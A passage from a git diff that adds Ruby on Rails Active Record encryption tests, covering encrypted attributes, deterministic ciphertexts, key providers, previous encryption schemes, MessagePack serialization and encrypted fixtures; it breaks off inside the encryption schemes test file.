+  test "encrypted_attribute? returns true for encrypted attributes which content is encrypted" do
+    book = EncryptedBook.create!(name: "Dune")
+    assert book.encrypted_attribute?(:name)
+  end
+
+  test "encrypted_attribute? returns false for encrypted attributes which content is not encrypted" do
+    book = ActiveRecord::Encryption.without_encryption { EncryptedBook.create!(name: "Dune") }
+    assert_not book.encrypted_attribute?(:name)
+  end
+
+  test "ciphertext_for returns the ciphertext for a given attribute" do
+    book = EncryptedBook.create!(name: "Dune")
+
+    assert_ciphertext_decrypts_to book, :name, book.ciphertext_for(:name)
+  end
+
+  test "ciphertext_for returns the persisted ciphertext for a non-deterministically encrypted attribute" do
+    post = EncryptedPost.create!(title: "Fear is the mind-killer", body: "Fear is the little-death...")
+
+    assert_equal post.title_before_type_cast, post.ciphertext_for(:title)
+    assert_ciphertext_decrypts_to post, :title, post.ciphertext_for(:title)
+  end
+
+  test "ciphertext_for returns the ciphertext of a new value" do
+    book = EncryptedBook.create!(name: "Dune")
+    book.name = "Arrakis"
+
+    assert_ciphertext_decrypts_to book, :name, book.ciphertext_for(:name)
+  end
+
+  test "ciphertext_for returns the ciphertext of a decrypted value" do
+    book = EncryptedBook.create!(name: "Dune")
+    book.decrypt
+
+    assert_ciphertext_decrypts_to book, :name, book.ciphertext_for(:name)
+  end
+
+  test "ciphertext_for returns the ciphertext of a value when the record is new" do
+    book = EncryptedBook.new(name: "Dune")
+
+    assert_ciphertext_decrypts_to book, :name, book.ciphertext_for(:name)
+  end
+
+  test "encrypt won't change the encoding of strings even when compression is used" do
+    title = "The Starfleet is here  #{'OMG👌' * 50}!"
+    encoding = title.encoding
+    post = ActiveRecord::Encryption.without_encryption { EncryptedPost.create!(title: title, body: "some body") }
+    post.encrypt
+    assert_equal encoding, post.reload.title.encoding
+  end
+
+  test "encrypt will honor forced encoding for deterministic attributes" do
+    ActiveRecord::Encryption.config.forced_encoding_for_deterministic_encryption = Encoding::UTF_8
+
+    book = ActiveRecord::Encryption.without_encryption { EncryptedBook.create!(name: "Dune".encode("US-ASCII")) }
+    book.encrypt
+    assert_equal Encoding::UTF_8, book.reload.name.encoding
+  end
+
+  test "encrypt won't force encoding for deterministic attributes when option is nil" do
+    ActiveRecord::Encryption.config.forced_encoding_for_deterministic_encryption = nil
+
+    book = ActiveRecord::Encryption.without_encryption { EncryptedBook.create!(name: "Dune".encode("US-ASCII")) }
+    book.encrypt
+    assert_equal Encoding::US_ASCII, book.reload.name.encoding
+  end
+
+  test "encrypt will preserve case when :ignore_case option is used" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    book = create_unencrypted_book_ignoring_case name: "Dune"
+
+    ActiveRecord::Encryption.without_encryption { assert_equal "Dune", book.reload.name }
+    assert_equal "Dune", book.name
+
+    book.encrypt
+
+    assert_equal "Dune", book.reload.name
+  end
+
+  test "re-encrypting will preserve case when :ignore_case option is used" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    book = create_unencrypted_book_ignoring_case name: "Dune"
+
+    ActiveRecord::Encryption.without_encryption { assert_equal "Dune", book.reload.name }
+    assert_equal "Dune", book.name
+
+    2.times { book.encrypt }
+
+    assert_equal "Dune", book.reload.name
+  end
+
+  test "encrypt attributes encrypted with a previous encryption scheme" do
+    author = EncryptedAuthor.create!(name: "david")
+    old_type = EncryptedAuthor.type_for_attribute(:name).previous_types.first
+    value_encrypted_with_old_type = old_type.serialize("dhh")
+    ActiveRecord::Encryption.without_encryption do
+      author.update!(name: value_encrypted_with_old_type)
+    end
+
+    author.reload.encrypt
+    assert_equal "dhh", author.reload.name
+  end
+end
diff --git a/activerecord/test/cases/encryption/encryptable_record_message_pack_serialized_test.rb b/activerecord/test/cases/encryption/encryptable_record_message_pack_serialized_test.rb
new file mode 100644
index 0000000000000..0818690c20877
--- /dev/null
+++ b/activerecord/test/cases/encryption/encryptable_record_message_pack_serialized_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/author_encrypted"
+require "models/book_encrypted"
+require "active_record/encryption/message_pack_message_serializer"
+
+class ActiveRecord::Encryption::EncryptableRecordMessagePackSerializedTest < ActiveRecord::EncryptionTestCase
+  fixtures :encrypted_books
+
+  test "binary data can be serialized with message pack" do
+    all_bytes = (0..255).map(&:chr).join
+    book = EncryptedBookWithBinaryMessagePackSerialized.create!(logo: all_bytes)
+    assert_encrypted_attribute(book, :logo, all_bytes)
+  end
+
+  test "binary data can be encrypted uncompressed and serialized with message pack" do
+    # Strings below 140 bytes are not compressed
+    low_bytes = (0..127).map(&:chr).join
+    high_bytes = (128..255).map(&:chr).join
+
+    assert_encrypted_attribute(EncryptedBookWithBinaryMessagePackSerialized.create!(logo: low_bytes), :logo, low_bytes)
+    assert_encrypted_attribute(EncryptedBookWithBinaryMessagePackSerialized.create!(logo: high_bytes), :logo, high_bytes)
+  end
+
+  test "text columns cannot be serialized with message pack" do
+    assert_raises(ActiveRecord::Encryption::Errors::Encoding) do
+      message_pack_serialized_text_class = Class.new(ActiveRecord::Base) do
+        self.table_name = "encrypted_books"
+
+        encrypts :name, message_serializer: ActiveRecord::Encryption::MessagePackMessageSerializer.new
+      end
+      message_pack_serialized_text_class.create(name: "Dune")
+    end
+  end
+
+  class EncryptedBookWithBinaryMessagePackSerialized < ActiveRecord::Base
+    self.table_name = "encrypted_books"
+
+    encrypts :logo, message_serializer: ActiveRecord::Encryption::MessagePackMessageSerializer.new
+  end
+end
diff --git a/activerecord/test/cases/encryption/encryptable_record_test.rb b/activerecord/test/cases/encryption/encryptable_record_test.rb
new file mode 100644
index 0000000000000..663d4e9eed538
--- /dev/null
+++ b/activerecord/test/cases/encryption/encryptable_record_test.rb
@@ -0,0 +1,464 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/author_encrypted"
+require "models/book_encrypted"
+require "models/post_encrypted"
+require "models/traffic_light_encrypted"
+
+class ActiveRecord::Encryption::EncryptableRecordTest < ActiveRecord::EncryptionTestCase
+  fixtures :encrypted_books, :posts
+
+  test "encrypts the attribute seamlessly when creating and updating records" do
+    post = EncryptedPost.create!(title: "The Starfleet is here!", body: "take cover!")
+    assert_encrypted_attribute(post, :title, "The Starfleet is here!")
+
+    post.update!(title: "The Klingons are coming!")
+    assert_encrypted_attribute(post, :title, "The Klingons are coming!")
+
+    post.title = "You sure?"
+    post.save!
+    assert_encrypted_attribute(post, :title, "You sure?")
+
+    post[:title] = "The Klingons are leaving!"
+    post.save!
+    assert_encrypted_attribute(post, :title, "The Klingons are leaving!")
+  end
+
+  test "attribute is not accessible with the wrong key" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+
+    post = EncryptedPost.create!(title: "The Starfleet is here!", body: "take cover!")
+    post.reload.tags_count # accessing regular attributes works
+    assert_invalid_key_cant_read_attribute(post, :body)
+  end
+
+  test "swapping key_providers via with_encryption_context" do
+    key_provider1 = ActiveRecord::Encryption::DerivedSecretKeyProvider.new(SecureRandom.base64(32))
+    key_provider2 = ActiveRecord::Encryption::DerivedSecretKeyProvider.new(SecureRandom.base64(32))
+
+    post1 = post2 = nil
+
+    ActiveRecord::Encryption.with_encryption_context key_provider: key_provider1 do
+      post1 = EncryptedPost.create!(title: "post1!", body: "first post!")
+    end
+
+    ActiveRecord::Encryption.with_encryption_context key_provider: key_provider2 do
+      post2 = EncryptedPost.create!(title: "post2!", body: "second post!")
+    end
+
+    post1.reload
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      post1.title
+    end
+
+    post2.reload
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      post2.title
+    end
+
+    ActiveRecord::Encryption.with_encryption_context key_provider: key_provider1 do
+      post1.reload
+      assert_equal "post1!", post1.title
+
+      post2.reload
+      assert_raises ActiveRecord::Encryption::Errors::Decryption do
+        post2.title
+      end
+    end
+
+    ActiveRecord::Encryption.with_encryption_context key_provider: key_provider2 do
+      post2.reload
+      assert_equal "post2!", post2.title
+
+      post1.reload
+      assert_raises ActiveRecord::Encryption::Errors::Decryption do
+        post1.title
+      end
+    end
+  end
+
+  test "ignores nil values" do
+    assert_nil EncryptedBook.create!(name: nil).name
+  end
+
+  test "ignores empty values" do
+    assert_equal "", EncryptedBook.create!(name: "").name
+  end
+
+  test "encrypts serialized attributes" do
+    states = ["green", "red"]
+    traffic_light = EncryptedTrafficLight.create!(state: states, long_state: states)
+    assert_encrypted_attribute(traffic_light, :state, states)
+  end
+
+  test "encrypts serialized attributes where encrypts is declared first" do
+    states = ["green", "red"]
+    traffic_light = EncryptedFirstTrafficLight.create!(state: states, long_state: states)
+    assert_encrypted_attribute(traffic_light, :state, states)
+  end
+
+  test "encrypts store attributes with accessors" do
+    traffic_light = EncryptedTrafficLightWithStoreState.create!(color: "red", long_state: ["green", "red"])
+    assert_equal "red", traffic_light.color
+    assert_encrypted_attribute(traffic_light, :state, { "color" => "red" })
+  end
+
+  test "can configure a custom key provider on a per-record-class basis through the :key_provider option" do
+    post = EncryptedPost.create!(title: "The Starfleet is here!", body: "take cover!")
+    assert_encrypted_attribute(post, :body, "take cover!")
+  end
+
+  test "can configure a custom key on a per-record-class basis through the :key option" do
+    author = EncryptedAuthorWithKey.create!(name: "Stephen King")
+    assert_encrypted_attribute(author, :name, "Stephen King")
+  end
+
+  test "encrypts multiple attributes with different options at the same time" do
+    post = EncryptedPost.create! \
+      title: title = "The Starfleet is here!",
+      body: body = "<p>the Starfleet is here, we are safe now!</p>"
+
+    assert_encrypted_attribute(post, :title, title)
+    assert_encrypted_attribute(post, :body, body)
+  end
+
+  test "encrypted_attributes returns the list of encrypted attributes in a model (each record class holds their own list)" do
+    assert_equal Set.new([:title, :body]), EncryptedPost.encrypted_attributes
+    assert_not_equal EncryptedAuthor.encrypted_attributes, EncryptedPost.encrypted_attributes
+  end
+
+  test "deterministic_encrypted_attributes returns the list of deterministic encrypted attributes in a model (each record class holds their own list)" do
+    assert_equal [:name], EncryptedBook.deterministic_encrypted_attributes
+    assert_not_equal EncryptedPost.deterministic_encrypted_attributes, EncryptedBook.deterministic_encrypted_attributes
+  end
+
+  test "by default, encryption is not deterministic" do
+    post_1 = EncryptedPost.create!(title: "the same title", body: "some body")
+    post_2 = EncryptedPost.create!(title: "the same title", body: "some body")
+
+    assert_not_equal post_1.ciphertext_for(:title), post_2.ciphertext_for(:title)
+  end
+
+  test "deterministic attributes can be searched with Active Record queries" do
+    EncryptedBook.create!(name: "Dune")
+
+    assert EncryptedBook.find_by(name: "Dune")
+    assert_not EncryptedBook.find_by(name: "not Dune")
+
+    assert_equal 1, EncryptedBook.where(name: "Dune").count
+  end
+
+  test "deterministic attributes can be created by passing deterministic: true" do
+    book_1 = EncryptedBook.create!(name: "Dune")
+    book_2 = EncryptedBook.create!(name: "Dune")
+
+    assert_equal book_1.ciphertext_for(:name), book_2.ciphertext_for(:name)
+  end
+
+  test "deterministic ciphertexts remain constant" do
+    # We need to make sure these don't change or existing apps will stop working
+    ciphertext = "{\"p\":\"DIohhw==\",\"h\":{\"iv\":\"wEPaDcJP3VNIxaiz\",\"at\":\"X7+2xvvcu1k1if6Dy28Esw==\"}}"
+    book = UnencryptedBook.create name: ciphertext
+
+    book = EncryptedBook.find(book.id)
+    assert_equal "Dune", book.name
+  end
+
+  test "encryption errors when saving records will raise the error and don't save anything" do
+    assert_no_changes -> { BookThatWillFailToEncryptName.count } do
+      assert_raises ActiveRecord::Encryption::Errors::Encryption do
+        BookThatWillFailToEncryptName.create!(name: "Dune")
+      end
+    end
+  end
+
+  test "can work with pre-encryption nil values" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+    book = ActiveRecord::Encryption.without_encryption { EncryptedBook.create!(name: nil) }
+    assert_nil book.name
+  end
+
+  test "can work with pre-encryption empty values" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+    book = ActiveRecord::Encryption.without_encryption { EncryptedBook.create!(name: "") }
+    assert_equal "", book.name
+  end
+
+  test "can't modify encrypted attributes when frozen_encryption is true" do
+    post = posts(:welcome).becomes(EncryptedPost)
+    post.title = "Some new title"
+    assert_predicate post, :valid?
+
+    ActiveRecord::Encryption.with_encryption_context frozen_encryption: true do
+      assert_not post.valid?
+    end
+  end
+
+  test "can only save unencrypted attributes when frozen encryption is true" do
+    book = encrypted_books(:awdr)
+
+    ActiveRecord::Encryption.with_encryption_context frozen_encryption: true do
+      book.update! updated_at: Time.now
+    end
+
+    ActiveRecord::Encryption.with_encryption_context frozen_encryption: true do
+      assert_raises ActiveRecord::RecordInvalid do
+        book.update! name: "Some new title"
+      end
+    end
+  end
+
+  test "won't change the encoding of strings" do
+    author_name = "Jorge"
+    encoding = author_name.encoding
+    author = EncryptedAuthor.create!(name: author_name)
+    assert_equal encoding, author.reload.name.encoding
+  end
+
+  test "by default, it's case sensitive" do
+    EncryptedBook.create!(name: "Dune")
+    assert EncryptedBook.find_by(name: "Dune")
+    assert_not EncryptedBook.find_by(name: "dune")
+  end
+
+  test "when using downcase: true it ignores case since everything will be downcase" do
+    EncryptedBookWithDowncaseName.create!(name: "Dune")
+    assert EncryptedBookWithDowncaseName.find_by(name: "Dune")
+    assert EncryptedBookWithDowncaseName.find_by(name: "dune")
+    assert EncryptedBookWithDowncaseName.find_by(name: "DUNE")
+  end
+
+  test "when downcase: true it creates content downcased" do
+    EncryptedBookWithDowncaseName.create!(name: "Dune")
+    assert EncryptedBookWithDowncaseName.find_by_name("dune")
+  end
+
+  test "when ignore_case: true, it ignores case in queries but keep it when reading the attribute" do
+    EncryptedBookThatIgnoresCase.create!(name: "Dune")
+    book = EncryptedBookThatIgnoresCase.find_by_name("dune")
+    assert book
+    assert_equal "Dune", book.name
+  end
+
+  test "when ignore_case: true, it keeps both the attribute and the _original counterpart encrypted" do
+    book = EncryptedBookThatIgnoresCase.create!(name: "Dune")
+    assert_encrypted_attribute book, :name, "Dune"
+    assert_encrypted_attribute book, :original_name, "Dune"
+  end
+
+  test "when ignore_case: true, it lets you update attributes normally" do
+    book = EncryptedBookThatIgnoresCase.create!(name: "Dune")
+    book.update!(name: "Dune II")
+    assert_equal "Dune II", book.name
+  end
+
+  test "when ignore_case: true, it returns the actual value when not encrypted" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    book = create_unencrypted_book_ignoring_case name: "Dune"
+    assert_equal "Dune", book.name
+  end
+
+  test "when ignore_case: true, users can override accessors and call super" do
+    overriding_class = Class.new(EncryptedBookThatIgnoresCase) do
+      self.table_name = "books"
+
+      def name
+        "#{super}-overridden"
+      end
+    end
+
+    overriding_class.create!(name: "Dune")
+    book = overriding_class.find_by_name("dune")
+    assert book
+    assert_equal "Dune-overridden", book.reload.name
+  end
+
+  test "reading a not encrypted value will raise a Decryption error when :support_unencrypted_data is false" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+
+    book = ActiveRecord::Encryption.without_encryption do
+      EncryptedBookThatIgnoresCase.create!(name: "dune")
+    end
+
+    assert_raises(ActiveRecord::Encryption::Errors::Decryption) do
+      book.name
+    end
+  end
+
+  test "reading a not encrypted value won't raise a Decryption error when :support_unencrypted_data is true" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    author = ActiveRecord::Encryption.without_encryption do
+      EncryptedAuthor.create!(name: "Stephen King")
+    end
+
+    assert_equal "Stephen King", author.name
+  end
+
+  # Only run for adapters that add a default string limit when not provided (MySQL, 255)
+  if author_name_limit = EncryptedAuthor.columns_hash["name"].limit
+    # No column limits in SQLite
+    test "validate column sizes" do
+      assert_predicate EncryptedAuthor.new(name: "jorge"), :valid?
+      assert_not EncryptedAuthor.new(name: "a" * (author_name_limit + 1)).valid?
+      author = EncryptedAuthor.create(name: "a" * (author_name_limit + 1))
+      assert_not author.valid?
+    end
+  end
+
+  test "track previous changes properly for encrypted attributes" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    book = EncryptedBook.create!(name: "Dune")
+    book.update!(created_at: 1.hour.ago)
+    assert_not book.name_previously_changed?
+
+    book.update!(name: "A new title!")
+    assert_predicate book, :name_previously_changed?
+  end
+
+  test "forces UTF-8 encoding for deterministic attributes by default" do
+    book = EncryptedBook.create!(name: "Dune".encode("ASCII-8BIT"))
+    assert_equal Encoding::UTF_8, book.reload.name.encoding
+  end
+
+  test "forces encoding for deterministic attributes based on the configured option" do
+    ActiveRecord::Encryption.config.forced_encoding_for_deterministic_encryption = Encoding::US_ASCII
+
+    book = EncryptedBook.create!(name: "Dune".encode("ASCII-8BIT"))
+    assert_equal Encoding::US_ASCII, book.reload.name.encoding
+  end
+
+  test "forced encoding for deterministic attributes will replace invalid characters" do
+    book = EncryptedBook.create!(name: "Hello \x93\xfa".b)
+    assert_equal "Hello ��", book.reload.name
+  end
+
+  test "forced encoding for deterministic attributes can be disabled" do
+    ActiveRecord::Encryption.config.forced_encoding_for_deterministic_encryption = nil
+
+    book = EncryptedBook.create!(name: "Dune".encode("US-ASCII"))
+    assert_equal Encoding::US_ASCII, book.reload.name.encoding
+  end
+
+  test "support encrypted attributes defined on columns with default values" do
+    book = EncryptedBook.create!
+    assert_encrypted_attribute(book, :name, "<untitled>")
+  end
+
+  test "loading records with encrypted attributes defined on columns with default values" do
+    skip unless supports_insert_on_duplicate_update?
+
+    EncryptedBook.insert({ format: "ebook" })
+    book = EncryptedBook.last
+    assert_equal "<untitled>", book.name
+  end
+
+  test "can dump and load records that use encryption" do
+    book = EncryptedBook.create!
+    assert_equal book, Marshal.load(Marshal.dump(book))
+  end
+
+  test "supports decrypting data encrypted non deterministically with SHA1 when digest class is SHA256" do
+    ActiveRecord::Encryption.configure \
+      primary_key: "the primary key",
+      deterministic_key: "the deterministic key",
+      key_derivation_salt: "the salt",
+      support_sha1_for_non_deterministic_encryption: true
+
+    key_provider_sha1 = build_derived_key_provider_with OpenSSL::Digest::SHA1
+    key_provider_sha256 = build_derived_key_provider_with OpenSSL::Digest::SHA256
+
+    encrypted_post_class_sha_1 = Class.new(Post) do
+      self.table_name = "posts"
+      encrypts :title, key_provider: key_provider_sha1
+    end
+    encrypted_post_class_sha_1.create! title: "Post 1", body: "The post body", type: nil
+
+    encrypted_post_class_sha_256 = Class.new(Post) do
+      self.table_name = "posts"
+      encrypts :title, key_provider: key_provider_sha256
+    end
+
+    assert_equal "Post 1", encrypted_post_class_sha_256.last.title
+  end
+
+  test "encryption schemes are resolved when used, not when declared" do
+    OtherEncryptedPost = Class.new(Post) do
+      self.table_name = "posts"
+      encrypts :title
+    end
+
+    ActiveRecord::Encryption.configure \
+      primary_key: "the primary key",
+      deterministic_key: "the deterministic key",
+      key_derivation_salt: "the salt",
+      support_sha1_for_non_deterministic_encryption: true
+
+    assert_predicate OtherEncryptedPost.type_for_attribute(:title).scheme.previous_schemes, :one?
+  end
+
+  test "binary data can be encrypted" do
+    all_bytes = (0..255).map(&:chr).join
+    assert_equal all_bytes, EncryptedBookWithBinary.create!(logo: all_bytes).logo
+    assert_nil EncryptedBookWithBinary.create!(logo: nil).logo
+    assert_equal "", EncryptedBookWithBinary.create!(logo: "").logo
+  end
+
+  test "binary data can be encrypted uncompressed" do
+    low_bytes = (0..127).map(&:chr).join
+    high_bytes = (128..255).map(&:chr).join
+    assert_encrypted_attribute EncryptedBookWithBinary.create!(logo: low_bytes), :logo, low_bytes
+    assert_encrypted_attribute EncryptedBookWithBinary.create!(logo: high_bytes), :logo, high_bytes
+  end
+
+  test "serialized binary data can be encrypted" do
+    json_bytes = (32..127).map(&:chr)
+    assert_encrypted_attribute EncryptedBookWithSerializedFirstBinary.create!(logo: json_bytes), :logo, json_bytes
+    assert_encrypted_attribute EncryptedBookWithSerializedSecondBinary.create!(logo: json_bytes), :logo, json_bytes
+  end
+
+  test "can compress data with custom compressor" do
+    name = "a" * 141
+    assert EncryptedBookWithCustomCompressor.create!(name: name).name.start_with?("[compressed]")
+  end
+
+  test "type method returns cast type" do
+    assert_equal :string, EncryptedBook.type_for_attribute(:name).type
+    assert_equal :text, EncryptedPost.type_for_attribute(:body).type
+  end
+
+  test "encrypts normalized data" do
+    assert_encrypted_attribute EncryptedBookNormalizedFirst.create!(name: "Book"), :name, "book"
+    assert_encrypted_attribute EncryptedBookNormalizedSecond.create!(name: "Book"), :name, "book"
+    assert_encrypted_attribute EncryptedBookNormalizedFirst.create!(logo: "Book"), :logo, "book"
+    assert_encrypted_attribute EncryptedBookNormalizedSecond.create!(logo: "Book"), :logo, "book"
+  end
+
+  test "encrypts attribute data" do
+    assert_encrypted_attribute EncryptedBookAttribute.create!(name: "2024-01-01"), :name, Date.new(2024, 1, 1)
+  end
+
+  private
+    def build_derived_key_provider_with(hash_digest_class)
+      ActiveRecord::Encryption.with_encryption_context(key_generator: ActiveRecord::Encryption::KeyGenerator.new(hash_digest_class: hash_digest_class)) do
+        ActiveRecord::Encryption::DerivedSecretKeyProvider.new(ActiveRecord::Encryption.config.primary_key)
+      end
+    end
+
+    class FailingKeyProvider
+      def decryption_key(message) end
+
+      def encryption_key
+        raise ActiveRecord::Encryption::Errors::Encryption
+      end
+    end
+
+    class BookThatWillFailToEncryptName < UnencryptedBook
+      self.table_name = "encrypted_books"
+
+      encrypts :name, key_provider: FailingKeyProvider.new
+    end
+end
diff --git a/activerecord/test/cases/encryption/encrypted_fixtures_test.rb b/activerecord/test/cases/encryption/encrypted_fixtures_test.rb
new file mode 100644
index 0000000000000..bbd1d4372f92f
--- /dev/null
+++ b/activerecord/test/cases/encryption/encrypted_fixtures_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/book_encrypted"
+
+class ActiveRecord::Encryption::EncryptableFixtureTest < ActiveRecord::EncryptionTestCase
+  self.use_transactional_tests = false
+
+  fixtures :encrypted_books, :encrypted_book_that_ignores_cases
+
+  test "fixtures get encrypted automatically" do
+    assert encrypted_books(:awdr).encrypted_attribute?(:name)
+  end
+
+  test "preserved columns due to ignore_case: true gets encrypted automatically" do
+    book = encrypted_book_that_ignores_cases(:rfr)
+    assert_equal "Ruby for Rails", book.name
+    assert_encrypted_attribute book, :name, "Ruby for Rails"
+
+    assert EncryptedBookThatIgnoresCase.find_by_name("Ruby for Rails")
+  end
+end
diff --git a/activerecord/test/cases/encryption/encrypting_only_encryptor_test.rb b/activerecord/test/cases/encryption/encrypting_only_encryptor_test.rb
new file mode 100644
index 0000000000000..949ffaf3151cc
--- /dev/null
+++ b/activerecord/test/cases/encryption/encrypting_only_encryptor_test.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::EncryptingOnlyEncryptorTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @encryptor = ActiveRecord::Encryption::EncryptingOnlyEncryptor.new
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+  end
+
+  test "decrypt returns the passed data" do
+    assert_equal "Some data", @encryptor.decrypt("Some data")
+  end
+
+  test "encrypt encrypts the passed data" do
+    encrypted_text = @encryptor.encrypt("Some data")
+    assert_not_equal encrypted_text, "Some data"
+    assert_equal "Some data", ActiveRecord::Encryption::Encryptor.new.decrypt(encrypted_text)
+  end
+end
diff --git a/activerecord/test/cases/encryption/encryption_schemes_test.rb b/activerecord/test/cases/encryption/encryption_schemes_test.rb
new file mode 100644
index 0000000000000..9d4040e2095d1
--- /dev/null
+++ b/activerecord/test/cases/encryption/encryption_schemes_test.rb
@@ -0,0 +1,240 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/author_encrypted"
+
+class ActiveRecord::Encryption::EncryptionSchemesTest < ActiveRecord::EncryptionTestCase
+  test "can decrypt encrypted_value encrypted with a different encryption scheme" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+
+    author = create_author_with_name_encrypted_with_previous_scheme
+    assert_equal "dhh", author.reload.name
+    assert author.encrypted_attribute? :name
+  end
+
+  test "when defining previous encryption schemes, you still get Decryption errors when using invalid clear values" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+
+    author = ActiveRecord::Encryption.without_encryption { EncryptedAuthor.create!(name: "unencrypted author") }
+
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      author.reload.name
+    end
+  end
+
+  test "use a custom encryptor" do
+    author = EncryptedAuthor1.create name: "1"
+    assert_equal "1", author.name
+    assert author.encrypted_attribute? :name
+  end
+
+  test "support previous contexts" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    author = EncryptedAuthor2.create name: "2"
+    assert_equal "2", author.name
+    assert_equal author, EncryptedAuthor2.find_by_name("2")
+    assert author.encrypted_attribute? :name
+
+    Author.find(author.id).update! name: "1"
+    assert_equal "1", author.reload.name
+    assert_equal author, EncryptedAuthor2.find_by_name("1")
+    assert_not author.encrypted_attribute? :name
+  end
+
+  test "use global previous schemes to decrypt data encrypted with previous schemes" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+    encrypted_author_class = declare_class_with_global_previous_encryption_schemes({ encryptor: TestEncryptor.new("0" => "1") }, { encryptor: TestEncryptor.new("1" => "2") })
+
+    assert_equal 2, encrypted_author_class.type_for_attribute(:name).previous_types.count
+    previous_type_1, previous_type_2 = encrypted_author_class.type_for_attribute(:name).previous_types
+
+    author = ActiveRecord::Encryption.without_encryption do
+      encrypted_author_class.create name: previous_type_1.serialize("1")
+    end
+    assert_equal "0", author.reload.name
+
+    author = ActiveRecord::Encryption.without_encryption do
+      encrypted_author_class.create name: previous_type_2.serialize("2")
+    end
+    assert_equal "1", author.reload.name
+  end
+
+  test "use global previous schemes to decrypt data encrypted with previous schemes with unencrypted data" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+    encrypted_author_class = declare_class_with_global_previous_encryption_schemes({ encryptor: TestEncryptor.new("0" => "1") }, { encryptor: TestEncryptor.new("1" => "2") })
+
+    assert_equal 3, encrypted_author_class.type_for_attribute(:name).previous_types.count
+    previous_type_1, previous_type_2 = encrypted_author_class.type_for_attribute(:name).previous_types
+
+    author = ActiveRecord::Encryption.without_encryption do
+      encrypted_author_class.create name: previous_type_1.serialize("1")
+    end
+    assert_equal "0", author.reload.name
+
+    author = ActiveRecord::Encryption.without_encryption do
+      encrypted_author_class.create name: previous_type_2.serialize("2")
+    end
+    assert_equal "1", author.reload.name
+  end
+
+  test "returns ciphertext all the previous schemes fail to decrypt and support for unencrypted data is on" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+    encrypted_author_class = declare_class_with_global_previous_encryption_schemes({ encryptor: TestEncryptor.new("0" => "1") }, { encryptor: TestEncryptor.new("1" => "2") })
+
+    author = ActiveRecord::Encryption.without_encryption do
+      encrypted_author_class.create name: "some ciphertext"
+    end
+
+    assert_equal "some ciphertext", author.reload.name
+  end
+
+  test "raise decryption error when all the previous schemes fail to decrypt" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+    encrypted_author_class = declare_class_with_global_previous_encryption_schemes({ encryptor: TestEncryptor.new("0" => "1") }, { encryptor: TestEncryptor.new("1" => "2") })
+
+    author = ActiveRecord::Encryption.without_encryption do
+      encrypted_author_class.create name: "some invalid ciphertext"
+    end
+
+    assert_raise ActiveRecord::Encryption::Errors::Decryption do
+      author.reload.name
+    end
+  end
+
+  test "deterministic encryption is fixed by default: it will always use the oldest scheme to encrypt data" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+    ActiveRecord::Encryption.config.deterministic_key = "12345"
+    ActiveRecord::Encryption.config.previous = [{ downcase: true, deterministic: true }, { downcase: false, deterministic: true }]
+
+    encrypted_author_class = Class.new(Author) do
+      self.table_name = "authors"
+
+      encrypts :name, deterministic: true, downcase: false
+    end
+
+    author = encrypted_author_class.create!(name: "STEPHEN KING")
+    assert_equal "stephen king", author.name
+  end
+
+  test "don't use global previous schemes with a different deterministic nature" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+    ActiveRecord::Encryption.config.deterministic_key = "12345"
+    ActiveRecord::Encryption.config.previous = [{ downcase: true, deterministic: false }, { downcase: false, deterministic: true }]
+
+    encrypted_author_class = Class.new(Author) do
+      self.table_name = "authors"
+
+      encrypts :name, deterministic: true, downcase: false
+    end
+
+    author = encrypted_author_class.create!(name: "STEPHEN KING")
+    assert_equal "STEPHEN KING", author.name
+  end
+
+  test "deterministic encryption will use the newest encryption scheme to encrypt data when setting it to { fixed: false }" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+    ActiveRecord::Encryption.config.deterministic_key = "12345"
+    ActiveRecord::Encryption.config.previous = [{ downcase: true, deterministic: true }, { downcase: false, deterministic: true }]
+
+    encrypted_author_class = Class.new(Author) do
+      self.table_name = "authors"
+
+      encrypts :name, deterministic: { fixed: false }, downcase: false
+    end
+
+    author = encrypted_author_class.create!(name: "STEPHEN KING")
+    assert_equal "STEPHEN KING", author.name
+  end
+
+  test "use global previous schemes when performing queries" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+    ActiveRecord::Encryption.config.deterministic_key = "12345"
+    ActiveRecord::Encryption.config.previous = [{ downcase: true, deterministic: true }, { downcase: false, deterministic: true }]
+
+    encrypted_author_class = Class.new(Author) do
+      self.table_name = "authors"
+
+      encrypts :name, deterministic: true, downcase: false
+    end
+
+    author = encrypted_author_class.create!(name: "STEPHEN KING")
+    assert_equal author, encrypted_author_class.find_by_name("STEPHEN KING")
+    assert_equal author, encrypted_author_class.find_by_name("stephen king")
+  end
+
+  test "don't use global previous schemes with a different deterministic nature when performing queries" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+    ActiveRecord::Encryption.config.deterministic_key = "12345"
+    ActiveRecord::Encryption.config.previous = [{ downcase: true, deterministic: false }, { downcase: false, deterministic: true }]
+
